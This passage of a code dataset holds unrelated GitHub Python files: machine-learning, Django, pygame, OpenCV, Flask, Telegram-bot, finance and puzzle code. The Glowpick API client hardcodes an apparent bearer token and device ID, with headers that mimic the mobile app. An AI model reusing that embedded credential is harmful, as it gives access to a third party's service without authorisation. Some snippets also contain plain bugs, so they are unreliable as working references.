list(map(int,input().split()))\n\tthirdNum(lt)\n\n\n\n","repo_name":"rupeshmohanty/Competitive-programming-problems","sub_path":"Python/w3resource/thirdNum.py","file_name":"thirdNum.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"11515519634","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom Logistic_regression.create_2_class_rand_dataset import create_dataset\n\n\nclass LogisticRegression:\n\n def __init__(self, parameter_dimension=2):\n self.w = None\n self.b = None\n self._initialize_parameters(parameter_dimension)\n\n def _initialize_parameters(self, dim):\n self.w = np.random.rand(dim, 1)\n self.b = 0\n assert (self.w.shape == (dim, 1))\n assert (isinstance(self.b, float) or isinstance(self.b, int))\n return self.w, self.b\n\n @staticmethod\n def sigmoid(z):\n s = 1 / (1 + np.exp(-z))\n return s\n\n @staticmethod\n def gradient_dw(X, A, Y):\n m = X.shape[1]\n dw = (1 / m) * np.dot(X, (A - Y).T)\n return dw\n\n @staticmethod\n def gradient_db(A, Y):\n m = Y.shape[1]\n db = (1 / m) * np.sum(A - Y)\n return db\n\n @staticmethod\n def cost_function(A, Y):\n m = Y.shape[1]\n cost = (- 1 / m) * np.sum(Y * np.log(A) + (1 - Y) * (np.log(1 - A)))\n return cost\n\n @staticmethod\n def propagate(w, b, X, Y):\n\n m = X.shape[1]\n\n A = LogisticRegression.sigmoid(np.dot(w.T, X) + b) # compute activation\n cost = LogisticRegression.cost_function(A, Y)\n\n dw = LogisticRegression.gradient_dw(X, A, Y)\n db = LogisticRegression.gradient_db(A, Y)\n\n assert (dw.shape == w.shape)\n assert (db.dtype == float)\n cost = np.squeeze(cost)\n assert (cost.shape == ())\n\n grads = {\"dw\": dw,\n \"db\": db}\n return grads, cost\n\n def plot_decision_boundary_without_separated_classes(self, X, Y):\n arr = Y[0, :]\n class_1_index = np.where(arr == 0)\n class_2_index = np.where(arr == 1)\n class1 = X[:, class_1_index]\n class1 = np.reshape(class1, newshape=(class1.shape[0], class1.shape[-1]))\n class2 = X[:, class_2_index]\n class2 = np.reshape(class2, newshape=(class2.shape[0], class2.shape[-1]))\n self.plot_decision_boundary(X.T, Y.T, [class1[0,:], class1[1,:]], [class2[0,:], class2[1,:]])\n\n def optimize(self, X, Y, num_iterations, learning_rate, print_cost=False):\n costs = []\n for i in range(num_iterations):\n if i % 20 == 0:\n self.plot_decision_boundary_without_separated_classes(X, Y)\n\n grads, cost = LogisticRegression.propagate(self.w, self.b, X, Y)\n dw = grads[\"dw\"]\n db = grads[\"db\"]\n\n self.w = self.w - learning_rate * dw # need to broadcast\n self.b = self.b - learning_rate * db\n\n if i % 10 == 0:\n costs.append(cost)\n\n if print_cost and i % 10 == 0:\n print(\"Cost after iteration %i: %f\" % (i, cost))\n\n params = {\"w\": self.w,\n \"b\": self.b}\n\n grads = {\"dw\": dw,\n \"db\": db}\n\n return params, grads, costs\n\n def predict(self, X):\n m = X.shape[1]\n Y_prediction = LogisticRegression.sigmoid(np.dot(self.w.T, X) + self.b)\n assert (Y_prediction.shape == (1, m))\n return Y_prediction\n\n def classify(self, X):\n A = self.predict(X)\n m = X.shape[1]\n Y_prediction = np.zeros((1, m))\n Y_prediction_p = np.zeros((1, m))\n for i in range(A.shape[1]):\n Y_prediction[0, i] = 1 if A[0, i] > 0.5 else 0\n if Y_prediction[0, i] == 1:\n Y_prediction_p[0, i] = A[0, i]\n else:\n Y_prediction_p[0, i] = 1 - A[0, i]\n return Y_prediction, Y_prediction_p\n\n def _calculate_decision_boundary(self, x):\n t = np.zeros(100)\n for i in range(100):\n t[i] = i * 0.01\n y2 = -(x[:, 0] * self.w[0] + self.b) / self.w[1]\n return x[:, 0], y2\n\n def plot_decision_boundary(self, data, y_true, class1_data, class2_data, plot_detail=False):\n if len(self.w.shape) > 2:\n print(\"Error, w shape greater than 2. Could't plot.\")\n return\n x1, x2 = self._calculate_decision_boundary(data)\n plt.close()\n plt.plot(x1, x2, '--', label='decision boundary')\n if class1_data:\n plt.plot(class1_data[0], class1_data[1], 'x', label='class 1')\n if class2_data:\n plt.plot(class2_data[0], class2_data[1], 'o', label='class 2')\n # Add a legend\n plt.legend()\n plt.show()\n plt.close()\n\n if plot_detail:\n self.plot_detail_space(data, y_true)\n\n def plot_detail_space(self, data, y_true):\n xx, yy = np.mgrid[-1:2:.1, -4:12:.1]\n grid = np.c_[xx.ravel(), yy.ravel()]\n probs = self.predict(grid.T)[0, :].T.reshape(xx.shape)\n\n f, ax = plt.subplots(figsize=(8, 6))\n contour = ax.contourf(xx, yy, probs, 25, cmap=\"RdBu\",\n vmin=0, vmax=1)\n ax_c = f.colorbar(contour)\n ax_c.set_label(\"$P(y = 1)$\")\n ax_c.set_ticks([0, .25, .5, .75, 1])\n\n ax.scatter(data[100:, 0], data[100:, 1], c=y_true[100:, 0], s=50,\n cmap=\"RdBu\", vmin=-.2, vmax=1.2,\n edgecolor=\"white\", linewidth=1)\n\n ax.set(\n # aspect=\"equal\",\n xlim=(0, 1.2), ylim=(-4, 12),\n xlabel=\"$X_1$\", ylabel=\"$X_2$\")\n\n plt.show()","repo_name":"nemanja1995/Linear-Regression-and-Logistic-Regression-Visualization","sub_path":"Logistic_regression/LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":5328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"26316453845","text":"from django.urls import include, path\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"/\", views.pitch_detail, name=\"pitch-detail\"),\n path(\"ordered/\", views.MyOrderedView.as_view(), name=\"my-ordered\"),\n path(\"ordered-detail/\", views.order_cancel, name=\"order-detail\"),\n path(\"search/\", views.search_view, name=\"search\"),\n path(\"upload-pitch-data/\", views.upload_pitch_data, name=\"upload_pitch_data\"),\n path(\n \"pitch//toggle_favorite/\", views.toggle_favorite, name=\"toggle_favorite\"\n ),\n path(\"favorite_pitches/\", views.favorite_pitches, name=\"favorite_pitches\"),\n]\n","repo_name":"awesome-academy/python_naitei_sms","sub_path":"pitch/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"70592333560","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def closestValue(self, root: Optional[TreeNode], target: float) -> int:\n self.ans = root.val\n self.f(root, target)\n return self.ans\n \n def f(self, node: Optional[TreeNode], target: float):\n if node is None:\n return\n \n if abs(node.val - target) < abs(self.ans - target):\n self.ans = node.val\n \n if target > node.val:\n self.f(node.right, target)\n else:\n self.f(node.left, target)\n ","repo_name":"chehsunliu/a","sub_path":"LeetCode/0270_closest-binary-search-tree-value/20220717-1.py","file_name":"20220717-1.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"32584339448","text":"'''\r\nCreated on Jul 9, 2019\r\n\r\n@author: Student\r\n'''\r\nimport cv2, os.path, math\r\nimport numpy as np\r\nfrom sklearn.cluster import KMeans\r\n\r\nd = {}\r\nfor file in os.listdir('output_gabor'):\r\n filepath = os.path.join('output_gabor', file)\r\n img = cv2.imread(filepath, cv2.IMREAD_GRAYSCALE)\r\n cols = []\r\n \r\n for i in range(img.shape[1] - 1):\r\n col0 = img[:,i]\r\n col1 = img[:,i+1]\r\n cols.append(abs(col1 - col0))\r\n #print(img)\r\n #print(abs(img[:,1] - img[:,0]))\r\n #print(abs(img[:,2] - img[:,1]))\r\n \r\n gradient = np.column_stack(tuple(cols))\r\n d[file] = gradient\r\n\r\ns = sorted(d.items(), key = lambda x: -x[1].sum())\r\nfor x in s:\r\n print(x[0], x[1].sum())\r\n\r\n## CLUSTERING\r\n# gradVectors = []\r\n# labels = [0,0,0,1,0,1,0,0,0,0,0,0]\r\n# for file, gradient in d.items():\r\n# gradVectors.append(gradient.flatten())\r\n# X = np.array(gradVectors)\r\n# \r\n# kmeans = KMeans(n_clusters=2, random_state=0).fit(X)\r\n# #print(kmeans.cluster_centers_)\r\n# print(kmeans.labels_)\r\n \r\n #cv2.imshow(\"img\", img)\r\n #cv2.waitKey(0)","repo_name":"niyaznurbhasha/BasketballAnalyticsSummer2019","sub_path":"Img Processing & Extraction/Gradient.py","file_name":"Gradient.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"3126340441","text":"# coding=utf-8\nimport pygame\nimport numpy as np\nfrom pygame.draw import *\nfrom random import randint\npygame.init()\n\nFPS = 30\nscreen = pygame.display.set_mode((1200, 900))\n\n# здесь вводим переменные цветов, чтобы цвет следующего щарика был случайным\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\nGREEN = (0, 255, 0)\nMAGENTA = (255, 0, 255)\nCYAN = (0, 255, 255)\nBLACK = (0, 0, 0)\nCOLORS = [RED, BLUE, YELLOW, GREEN, MAGENTA, CYAN]\n\n\n# пишем функцию создания случайного шарика\nclass Ball:\n vx = 0\n vy = 0\n x = 0\n y = 0\n r = 0\n color = BLACK\n def new(self):\n a = randint(0, 360)\n self.vx = 5 * np.cos(2 * np.pi * a / 360)\n self.vy = 5 * np.sin(2 * np.pi * a / 360)\n self.x = randint(50, 1150)\n self.y = randint(50, 850)\n self.r = randint(30, 50)\n self.color = COLORS[randint(0, 5)]\n pass\n\n\ndef click(event):\n print(x, y, r)\n\n\npygame.display.update()\nclock = pygame.time.Clock()\nfinished = False\nk = 0\nj = 0\nballs_list = (Ball())\nwhile not finished:\n for i in range(FPS*3):\n clock.tick(FPS)\n for i in range(j):\n x = balls_list[i].x\n y = balls_list[i].y\n vx = balls_list[i].vx\n vy = balls_list[i].vy\n r = balls_list[i].r\n color = balls_list[i].color\n b = randint(0, 90)\n if (0 > y - r) | (y + r > 900):\n vy = -vy / (vy**2)**0.5 * 5 * np.sin(2*np.pi/360 * b)\n vx = vx / (vx**2)**0.5 * 5 * np.cos(2*np.pi/360 * b)\n if (0 > x - r) | (x + r > 1200):\n vy = vy / (vy ** 2) ** 0.5 * 5 * np.sin(2 * np.pi / 360 * b)\n vx = -vx / (vx ** 2) ** 0.5 * 5 * np.cos(2 * np.pi / 360 * b)\n x = x + vx\n y = y + vy\n circle(screen, color, (int(x), int(y)), r)\n balls_list[i].x = x\n balls_list[i].y = y\n balls_list[i].vx = vx\n balls_list[i].vy = vy\n balls_list[i].r = r\n pygame.display.update()\n screen.fill(BLACK)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n finished = True\n elif event.type == pygame.MOUSEBUTTONDOWN:\n print('Click!')\n click(event)\n for i in range (j):\n x = balls_list[i].x\n y = balls_list[i].y\n r = balls_list[i].r\n if (event.pos[0] - x) ** 2 + (event.pos[1] - y) ** 2 < r**2:\n k += 1\n j = randint(2, 5)\n balls_list = list()\n for i in range(0, j):\n ball = Ball()\n ball.new()\n balls_list.append(ball)\n pygame.display.update()\n screen.fill(BLACK)\n\nprint(k)\npygame.quit()\n","repo_name":"artaeva/infa_2020_artaeva","sub_path":"4444.py","file_name":"4444.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"69962574520","text":"from seeder.producer import PRODUCERS\n\n# '{\\n\\t\"name\": v,\\n\\t\"created_by\": \"system\",\\n\\t\"updated_by\": \"system\"\\n}'\n# data = []\n# list_name = []\n# lala= PRODUCERS\n# for da in PRODUCERS:\n# for val, v in da.items():\n# dataaa = f'[\\n\\t\"name\": \"{v}\",\\n\\t\"sequence\": ,\\n\\t\"updated_by\": \"system\"\\n],\\n'\n# lali = dataaa.replace('[', '{').replace(']', '}')\n# data.append(lali)\nimport os\nentries = os.listdir('app/models/')\nmodels_name = 'MODELS'\nlist_name = []\nfor data in entries:\n if data in ['__init__.py', '__pycache__']:\n continue\n else:\n file = data.replace('.py', '')\n dataaa = f'\\t[\\n\\t\\t\"name\": \"{file}\",\\n\\t\\t\"created_by\": \"system\",\\n\\t\\t\"updated_by\": \"system\"\\n\\t],\\n'\n lali = dataaa.replace('[', '{').replace(']', '}')\nwith open('seeder/models.py', 'a', encoding='utf - 8') as f:\n f.write(f'{models_name} = [\\n')\n for dat in list_name:\n f.write(f'{dat}')\n f.write(f']\\n')\n\n","repo_name":"XXO47OXX/learn","sub_path":"create _dataseeder/ano.py","file_name":"ano.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"71393737079","text":"import json\nimport ast\nimport time\n\nfrom flask import current_app, Blueprint, g, request, jsonify, abort\nimport audittools\nimport manoward\n\n\nauditinfo_buckets = Blueprint('api2_auditinfo_buckets', __name__)\n\n\n@auditinfo_buckets.route(\"/auditinfo//buckets\", methods=['GET'])\n@auditinfo_buckets.route(\"/auditinfo//buckets/\", methods=['GET'])\ndef api2_auditinfo_buckets(audit_id=0):\n '''\n Loads the Audit Definition from Disk and Reads in the Arbitrarily Complex\n Audit Filters and Comparisons to Provide the Needed Data\n '''\n\n requesttype = \"Audit Buckets\"\n\n meta_info = dict()\n meta_info[\"version\"] = 2\n meta_info[\"name\"] = \"Audit Bucket Information.\"\n meta_info[\"state\"] = \"In Progress\"\n meta_info[\"children\"] = dict()\n\n links_info = dict()\n\n links_info[\"self\"] = \"{}{}/auditinfo/{}/buckets\".format(g.config_items[\"v2api\"][\"preroot\"],\n g.config_items[\"v2api\"][\"root\"],\n audit_id)\n\n links_info[\"parent\"] = \"{}{}/auditinfo/{}/\".format(g.config_items[\"v2api\"][\"preroot\"],\n g.config_items[\"v2api\"][\"root\"],\n audit_id)\n links_info[\"children\"] = dict()\n\n request_data = list()\n\n select_query = '''select filename, audit_name from audits where audit_id = %s order by\n audit_priority desc, audit_id desc '''\n\n if audit_id <= 0:\n g.logger.error(\"Zero or Negative Bucket ID Given\")\n abort(404)\n\n run_result = manoward.run_query(g.cur,\n select_query,\n args=[audit_id],\n one=True,\n do_abort=True,\n require_results=True)\n\n requested_audit = run_result.get(\"data\", dict())\n\n audit = dict()\n audit[\"id\"] = audit_id\n audit[\"type\"] = requesttype\n audit[\"relationships\"] = dict()\n audit[\"relationships\"][\"auditinfo\"] = \"{}{}/auditinfo/{}/\".format(g.config_items[\"v2api\"][\"preroot\"],\n g.config_items[\"v2api\"][\"root\"],\n audit_id)\n audit[\"attributes\"] = dict()\n\n #\n # Now Load File\n #\n\n try:\n this_audit_config = audittools.load_auditfile(\n requested_audit[\"filename\"])\n except Exception as audit_error:\n g.logger.error(\"Unable to Parse Data from Auditfile : {}\".format(\n requested_audit[\"filename\"]))\n g.logger.debug(audit_error)\n abort(500)\n\n if requested_audit[\"audit_name\"] not in this_audit_config.keys():\n g.logger.error(\"Unable to Find Audit Described in File.\")\n g.logger.debug(\"Available Audits in file {} : {}\".format(requested_audit[\"filename\"],\n this_audit_config.keys()))\n abort(404)\n\n audit[\"attributes\"][\"filters\"] = this_audit_config[requested_audit[\"audit_name\"]][\"filters\"]\n audit[\"attributes\"][\"comparisons\"] = this_audit_config[requested_audit[\"audit_name\"]][\"comparisons\"]\n\n request_data.append(audit)\n\n return jsonify(meta=meta_info, data=request_data, links=links_info)\n","repo_name":"chalbersma/manowar","sub_path":"jelly_api_2/auditinfo_buckets.py","file_name":"auditinfo_buckets.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"40"} +{"seq_id":"8432298193","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 5 18:12:30 2018\n\n@author: simon\n\"\"\"\n\nimport numpy as np\n\n# Test triangles\n\n#A(-340,495), B(-153,-910), C(835,-947) CORRECT = True\n#p0 = (-340,495)\n#p1 = (-153,-910)\n#p2 = (835,-947)\n\n#X(-175,41), Y(-421,-714), Z(574,-645) CORRECT = False\n#p0 = (-175,41)\n#p1 = (-421,-714)\n#p2 = (574,-645)\n\n# Use https://stackoverflow.com/questions/2049582/how-to-determine-if-a-point-is-in-a-2d-triangle\n# for algorihtm\n# p = p0 + (p1 - p0) * s + (p2 - p0) * t\n# (p1 - p0) * s + (p2 - p0) * t = (p-p0)\n# 0<=s,t <=1 and s+t <= 1 for p inside triangle\n# Ax = b\norigs = []\nwith open('p102_triangles.txt', 'r') as tri_file:\n for line in tri_file:\n pnts = line.split(',')\n pnts = list(map(int, pnts))\n p0 = (pnts[0], pnts[1])\n p1 = (pnts[2],pnts[3])\n p2 = (pnts[4], pnts[5])\n\n A = np.array([[p1[0]-p0[0], p2[0]-p0[0]],[p1[1]-p0[1], p2[1]-p0[1]]])\n b = np.array([0-p0[0],0-p0[1]])\n \n x = np.linalg.solve(A,b)\n s = x[0]\n t = x[1]\n \n if (s>=0) and (t>=0) and (s+t<=1):\n origs.append(True)\n else:\n origs.append(False)\n \n\nprint(sum(origs))","repo_name":"simon-mcmahon/project-euler","sub_path":"progress_2018/prob_102.py","file_name":"prob_102.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"36885482535","text":"import cv2 as c\n\nimg= c.imread('data from opencv/lena.jpg')\nimg1= c.imread('data from opencv/messi5.jpg')\n\nprint(img.size)\nprint(img.shape)\nprint(img.dtype)\n\n# if you want to change an image\nb, g, r= c.split(img)\nprint(b)\nprint(g)\nprint(r)\n\n# it changes all the pixels from previous to a new image\n# img1= c.merge((b, g, r))\n\n# if you want to copy a particular part of area of the image and paste it in other location\nball = img1[280:340, 330:390]\n#\n# This line extracts a region of interest (ROI) from the img image.\n# The ROI is defined by a specific rectangular area specified by coordinates.\n# The format is img[y1:y2, x1:x2], where (y1, x1) represents the top-left corner and (y2, x2) represents the bottom-right corner of the rectangular region.\n# In this case, img[280:340, 330:390] selects a rectangular region from (280, 330) to (339, 389) in the img image. This rectangular region is essentially a portion of the image, and it is assigned to the variable ball.\n# img[273:333, 100:160] = ball:\n#\n# This line replaces another rectangular region in the img image with the content stored in the ball variable.\n# Similar to the previous line, it defines a rectangular region with coordinates (273, 100) as the top-left corner and (332, 159) as the bottom-right corner.\n# The content of the ball variable (the region previously extracted from the image) is then assigned to this rectangular region in img.\nimg1[273:333, 100:160] = ball\n\n# if you want to resize an image\nimg1= c.resize(img1, (512, 512))\n\nc.imshow('image1', img1)\nc.waitKey(0)\nc.destroyAllWindows()","repo_name":"ank809/Open-CV","sub_path":"basic_operations_on_image.py","file_name":"basic_operations_on_image.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"20821084808","text":"from aiogram import types, Router, Bot\nfrom aiogram.enums import ChatType\nfrom aiogram.filters import Text\n\nfrom bot.commands.commandName import SUBSCRIPTION_1, SUBSCRIPTION_3, SUBSCRIPTION_6\nfrom bot.commands.users.profile.pay import send_invoice\n\nfrom bot.filters import ChatTypeFilter\n\nuser_subscription_router = Router()\n\n\n@user_subscription_router.callback_query(\n ChatTypeFilter(chat_type=[ChatType.PRIVATE]),\n Text(SUBSCRIPTION_1),\n flags={\"chat_action\": \"typing\"})\nasync def cmd_subscription_1(callback: types.CallbackQuery, bot: Bot):\n \"\"\" Subscription to the bot for 1 month \"\"\"\n await send_invoice(bot=bot,\n chat_id=callback.from_user.id,\n title=\"Месяц подписки🤑\",\n description=\"Используй бота без ограничений один месяц...\",\n payload=SUBSCRIPTION_1,\n label=\"399 руб.\",\n amount=39900)\n\n\n@user_subscription_router.callback_query(\n ChatTypeFilter(chat_type=[ChatType.PRIVATE]),\n Text(SUBSCRIPTION_3),\n flags={\"chat_action\": \"typing\"})\nasync def cmd_subscription_3(callback: types.CallbackQuery, bot: Bot):\n \"\"\" Subscription to the bot for 3 months \"\"\"\n await send_invoice(bot=bot,\n chat_id=callback.from_user.id,\n title=\"Три месяца подписки🤑\",\n description=\"Используй бота без ограничений три месяца...\",\n payload=SUBSCRIPTION_3,\n label=\"999 руб.\",\n amount=99900)\n\n\n@user_subscription_router.callback_query(\n ChatTypeFilter(chat_type=[ChatType.PRIVATE]),\n Text(SUBSCRIPTION_6),\n flags={\"chat_action\": \"typing\"})\nasync def cmd_subscription_6(callback: types.CallbackQuery, bot: Bot):\n \"\"\" Subscription to the bot for 6 months \"\"\"\n await send_invoice(bot=bot,\n chat_id=callback.from_user.id,\n title=\"Шесть месяцев подписки🤑\",\n description=\"Используй бота без ограничений шесть месяцев...\",\n payload=SUBSCRIPTION_6,\n label=\"1499 руб.\",\n amount=149900)\n","repo_name":"z1kurat/ChatGPT-Telegram-Workers","sub_path":"bot/commands/users/profile/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"33"} +{"seq_id":"2743058163","text":"#!/usr/bin/env python3\n# coding:utf-8\n\nimport requests\n\n\nclass glowpickAPI:\n ROOT = 'https://api.glowpick.com:51666/'\n HEADERS = {\n 'Accept': 'application/json',\n 'Content-type': 'application/json',\n 'Authorization': \"Bearer BZqIKU1F51MlYk6F8lL3PHaELBykX4\",\n 'UID': '70455bf84130024a',\n 'IDREGISTER': '0',\n 'OS': 'aos',\n 'APPVERSION': '1.9.0',\n 'User-Agent': 'okhttp/3.6.0'\n }\n CATEGORY = {'바디/핸드/풋': 11, '여성용품': 21, '베이비&맘': 15, '마스크/팩': 4, '미용렌즈': 17, '선케어': 3, '기타제품': 14, '향수': 9,\n '기능성화장품': 2, '클렌징': 5, '스킨케어': 1, '색조메이크업': 7, '남성화장품': 8, '베이스메이크업': 6, '헤어': 10, '네일': 13, '바디라인': 12}\n\n AGE = {'10': '10s', '20': '20early,20late', '30': '30early', '40+': '30late', 'all': 'all'}\n\n TERM = {'3': '3month', '6': '6month', 'all': 'all'}\n\n def __init__(self):\n self.br = requests.Session()\n self.br.headers.update(self.HEADERS)\n\n def rank(self, order='rank', age='all', rank_term='all', category='스킨케어'):\n if self.CATEGORY.get(category):\n parms = {\n 'page': 1,\n 'order': order,\n 'gender': 'all',\n 'age': self.AGE.get(str(age)),\n 'skin': 'all',\n 'rank_term': self.TERM.get(rank_term)}\n\n r = self.br.get(self.ROOT + 'products/category/%d/' % (self.CATEGORY.get(category)), params=parms).json()\n\n return [{\n \"name\": k.get('product_title'),\n \"product_id\": k.get('id_product'),\n \"image_url\": k.get('product_image'),\n \"price\": k.get('price'),\n \"brand_name\": k.get('brand_title')}\n for k in r['products']]\n\n def get_request(self, endpoint='', params=None):\n url = self.ROOT + endpoint\n return self.br.get(url, params=params)\n\n def search_product(self, Id='4303'):\n r = self.br.get(self.ROOT + 'v1.0/product/detail/%s/' % (Id))\n if r:\n data = r.json()\n print(data)\n return {\n \"product_id\": data.get('id_product'),\n \"name\": data.get('product_title'),\n \"brand_name\": data.get('brand_title'),\n \"image_url\": data.get('product_thumbnail')\n }\n\n\nif __name__ == '__main__':\n a = glowpickAPI()\n print(a.search_product())\n","repo_name":"clucle/get_it_pouch","sub_path":"api_server/tool/glowpickAPI.py","file_name":"glowpickAPI.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"72701277533","text":"'''\nCreated on 25 févr. 2018\n\n@author: sdejo\n'''\nfrom django.db.models import Q\nfrom gso_finance_2.tracks_utility import set_track_content, get_track_content,\\\n to_pandas\nfrom gso_finance_2.utility import my_class_import\nfrom security import forex_utility\n\nimport pandas as pd\nfrom builtins import AttributeError\n\n\ndef build_chain(account):\n Operation = my_class_import('portfolio.models.Operation')\n all_operations = Operation.objects.filter(Q(source__id=account.id) | Q(target__id=account.id)).distinct().order_by('value_date', 'id')\n \n history = []\n mvt_pnl = {}\n mvt_no_pnl = {}\n amount = 0.0\n for operation in all_operations:\n key_date = operation.value_date.strftime('%Y-%m-%d')\n if key_date not in mvt_pnl:\n mvt_pnl[key_date] = 0.0\n if key_date not in mvt_no_pnl:\n mvt_no_pnl[key_date] = 0.0\n print('Operation:' + operation.name + ' === ' + str(operation.amount))\n operation_amount = operation.amount\n if operation.target!=None and operation.security==None:\n if operation.target.id==account.id:\n operation_amount = operation_amount * operation.spot_rate\n else:\n operation_amount = operation_amount * -1.0\n if operation.security!=None:\n operation_amount = operation_amount * operation.spot_rate * (-1.0 if operation.operation_type.identifier in ['OPE_TYPE_BUY', 'OPE_TYPE_BUY_FOP'] else 1.0)\n if operation.target==None and operation.source!=None:\n operation_amount = operation_amount * operation.spot_rate\n amount = amount + (operation_amount if operation.status.identifier!='OPE_STATUS_CANCELLED' and not operation.operation_type.identifier in ['OPE_TYPE_BUY_FOP', 'OPE_TYPE_SELL_FOP'] else 0.0)\n history.append({'date': key_date, 'value': amount})\n if operation.operation_type.identifier in ['OPE_TYPE_FEES','OPE_TYPE_ACCRUED_PAYMENT','OPE_TYPE_COUPON', 'OPE_TYPE_DIVIDEND', 'OPE_TYPE_COMMISSION', 'OPE_TYPE_TAX', 'OPE_TYPE_PNL']:\n mvt_pnl[key_date] = mvt_pnl[key_date] + operation_amount\n elif operation.operation_type.identifier not in ['OPE_TYPE_BUY', 'OPE_TYPE_SELL', 'OPE_TYPE_BUY_FOP', 'OPE_TYPE_SELL_FOP']:\n mvt_no_pnl[key_date] = mvt_no_pnl[key_date] + operation_amount\n if not all_operations.exists():\n key_date = account.inception_date.strftime('%Y-%m-%d')\n history.append({'date': key_date, 'value': 0.0})\n mvt_pnl[key_date] = 0.0\n mvt_no_pnl[key_date] = 0.0\n set_track_content('finance', account.id, 'cash', history, True)\n set_track_content('finance', account.id, 'mvt_pnl', [{'date': key, 'value': mvt_pnl[key]} for key in mvt_pnl], True)\n set_track_content('finance', account.id, 'mvt_no_pnl', [{'date': key, 'value': mvt_no_pnl[key]} for key in mvt_no_pnl], True)\n\ndef compute_valuation(portfolio, account):\n history = get_track_content('finance', account.id, 'cash', expand_today=True)\n history = pd.DataFrame(history)\n history = history.set_index('date')\n history.index = pd.to_datetime(history.index)\n history = history.rename(columns={'value': 'account'})\n \n mvt_pnl = get_track_content('finance', account.id, 'mvt_pnl', expand_today=True, nafill=0.0)\n mvt_pnl = pd.DataFrame(mvt_pnl)\n mvt_pnl = mvt_pnl.set_index('date')\n mvt_pnl.index = pd.to_datetime(mvt_pnl.index)\n mvt_pnl = mvt_pnl.rename(columns={'value': 'account'})\n \n mvt_no_pnl = get_track_content('finance', account.id, 'mvt_no_pnl', expand_today=True, nafill=0.0)\n mvt_no_pnl = pd.DataFrame(mvt_no_pnl)\n mvt_no_pnl = mvt_no_pnl.set_index('date')\n mvt_no_pnl.index = pd.to_datetime(mvt_no_pnl.index)\n mvt_no_pnl = mvt_no_pnl.rename(columns={'value': 'account'})\n \n if account.currency.identifier!=portfolio.currency.identifier:\n try:\n spot_portfolio = pd.DataFrame(forex_utility.find_spot_track(account.currency.identifier, portfolio.currency.identifier))\n spot_portfolio = spot_portfolio.set_index('date')\n spot_portfolio.index = pd.to_datetime(spot_portfolio.index)\n spot_portfolio = spot_portfolio.reindex(history.index)\n history['portfolio'] = history['account'] * spot_portfolio['value']\n mvt_pnl['portfolio'] = mvt_pnl['account'] * spot_portfolio['value']\n mvt_no_pnl['portfolio'] = mvt_no_pnl['account'] * spot_portfolio['value']\n except AttributeError:\n print('************************* WARNING NO SPOT FOR {0}/{1}'.format(account.currency.identifier, portfolio.currency.identifier))\n history['portfolio'] = history['account']\n mvt_pnl['portfolio'] = mvt_pnl['account']\n mvt_no_pnl['portfolio'] = mvt_no_pnl['account']\n else:\n history['portfolio'] = history['account']\n mvt_pnl['portfolio'] = mvt_pnl['account']\n mvt_no_pnl['portfolio'] = mvt_no_pnl['account']\n \n if account.currency.identifier!=portfolio.management_company.base_currency.identifier:\n try:\n spot_mgmt = pd.DataFrame(forex_utility.find_spot_track(account.currency.identifier, portfolio.management_company.base_currency.identifier))\n spot_mgmt = spot_mgmt.set_index('date')\n spot_mgmt.index = pd.to_datetime(spot_mgmt.index)\n spot_mgmt = spot_mgmt.reindex(history.index)\n history['mgmt'] = history['account'] * spot_mgmt['value']\n mvt_pnl['mgmt'] = mvt_pnl['account'] * spot_mgmt['value']\n mvt_no_pnl['mgmt'] = mvt_no_pnl['account'] * spot_mgmt['value']\n except AttributeError:\n print('************************* WARNING NO SPOT FOR {0}/{1}'.format(account.currency.identifier, portfolio.management_company.base_currency.identifier))\n history['mgmt'] = history['account']\n mvt_pnl['mgmt'] = mvt_pnl['account']\n mvt_no_pnl['mgmt'] = mvt_no_pnl['account']\n else:\n history['mgmt'] = history['account']\n mvt_pnl['mgmt'] = mvt_pnl['account']\n mvt_no_pnl['mgmt'] = mvt_no_pnl['account']\n \n account_amount = pd.DataFrame(history['account']).rename(columns={'account': 'value'})\n account_amount['date'] = account_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'account', account_amount.to_dict('records'), True)\n portfolio_amount = pd.DataFrame(history['portfolio']).rename(columns={'portfolio': 'value'})\n portfolio_amount['date'] = portfolio_amount.index.strftime('%Y-%m-%d')\n set_track_content('finance', account.id, 'portfolio', portfolio_amount.to_dict('records'), True)\n mgmt_amount = pd.DataFrame(history['mgmt']).rename(columns={'mgmt': 'value'})\n mgmt_amount['date'] = 